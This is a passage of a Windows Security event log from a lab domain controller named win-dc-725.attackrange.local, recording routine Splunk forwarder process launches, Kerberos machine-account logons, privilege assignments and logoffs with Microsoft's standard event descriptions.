Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254066
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254065
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb78
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254067
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1314
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254069
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254068
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254072
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xAB589
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62307

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:54:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254071
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xAB589

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:54:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254070
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1004
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254073
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254075
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x58AA5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:54:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254074
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x59322

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:54:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254076
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8288E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:54:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254077
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1130
	New Process Name:	C:\Windows\System32\wermgr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wermgr.exe -upload

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254080
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xAD187

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:54:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254079
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xAD187
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62318

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:54:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254078
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xAD187

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:55:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254083
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xAD532

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:55:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254082
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xAD532
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62321

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:55:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254081
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xAD532

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:55:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254084
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:55:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254092
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:55:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254091
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C0E5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:55:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254090
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C27B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:55:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254089
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C4BB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:55:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254088
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C698

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:55:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254087
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C7B6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:55:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254086
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C8C7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:55:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254085
Keywords=Audit Success
Message=An account was logged off.

Subject:
